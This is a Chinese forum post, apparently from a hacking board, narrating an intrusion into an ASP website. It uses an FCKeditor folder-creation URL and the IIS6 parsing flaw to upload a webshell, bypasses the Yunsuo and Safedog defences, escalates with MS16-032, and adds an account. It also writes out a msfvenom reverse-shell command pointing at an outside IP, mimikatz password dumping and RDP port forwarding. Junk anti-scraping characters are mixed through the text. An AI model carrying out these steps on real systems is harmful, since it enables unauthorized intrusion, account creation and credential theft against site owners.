|
- H' e/ [! b* L; Q$ K! f8 Z
A& S6 y$ g* P2 b
2 _; [5 v3 j8 u0 ? & h9 D/ s3 a2 A2 v; i
| & W) I" }6 Y5 Z8 E0 v4 Q
& h2 U: w c$ t+ \
6 {/ |3 ], E* U J t1 e
一、 利用getwebshell篇
' b) |) l' P( m2 b7 n, S1 ?: Z
+ v, `7 U+ `; X* }$ T
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
! X$ u; c: R' l% K# {
4 I$ {; ?, _# h' S+ e" V7 ^ \
( O' p4 o3 N* j2 ?: Y下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
, A9 |1 c* d7 g! @7 h# Q
+ ?7 l: L [9 W下面我们构造一个asp目录，如： # R( O, d4 h ^; I
2 c5 Z- h6 L. d y7 I& M8 O
6 l& U( o3 \) D' b1 K- i8 B4 ^
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 ) q% P; N- d; K7 j; M Y
$ U/ ~* p5 P7 u
7 E' M! M# c& X+ Q% j; _7 W
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
6 P) }, C! c- R9 H, v" R
- e% H3 l4 m! v% [8 l4 D一、 绕过安全狗云锁提权并且加账号
2 g8 _: ^; }# j" s) ]* r$ }
2 {- l; F5 h" K" }; X% m+ x没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
5 T+ r" ~: S. X0 h6 f4 ]! }: [' e
' O; @% ` T- i y8 q如图：
- a6 o$ C! Y: D" V
2 K4 S3 r+ p: w+ h4 p, s
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
) |/ }+ L; H8 l: o, h& M
* G& G- b- H! ] `- A! `+ _一、 利用metasploit
, m1 w g6 U1 m# d% y: U
4 G5 E# h; `0 B8 f3 }& X5 @首先用pentestbox生成一个64位的payload如下命令
8 |/ Z2 ~: \8 E1 F: m/ G7 t
- v3 P* X9 e* f& f
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
3 A- S! |4 O: c" v7 k( M# g/ s2 P
) V! n+ O- L9 I5 ^! U' I为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
3 c+ P N* u! x2 X( o
( K0 j; @; ?' B3 p2 b& q下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
/ B9 z8 u* R7 j2 N8 Q% ]7 t
. U0 }8 C7 M9 N1 K4 e6 b下面我们来做一个监听如下命令：
( |6 v3 F x: a; |4 V$ ^; ]
7 a1 t% ]: u# m6 H ~5 t/ }portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
- Z4 H' [2 G/ E t/ X3 s
5 C8 w: V. O+ T z; z" k2 g& J* Q2 o* i$ S
| 0 U0 {, b6 y1 V. W
) y& o* ]! Q, d* k
, ^& [* C+ Y2 k: y' [ 2 M7 u9 D8 f ^5 L/ o
. p/ J/ B$ \; l2 c4 c; P
9 ]7 U7 I9 w/ d; [: T0 t/ ?
7 N" X0 |2 D6 e+ B4 b# v+ Z, Z7 y
: m! E5 ]; o, L8 S) C* c 0 D8 k! i$ ~6 z9 Z
2 y' ~* Q* u4 h4 ]4 d- K
- n1 L- r- u J; I/ a5 Z 3 C1 Y) ~2 t' T$ {
! F0 D! U8 R! j( C
* b( o$ \3 @, A+ s | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06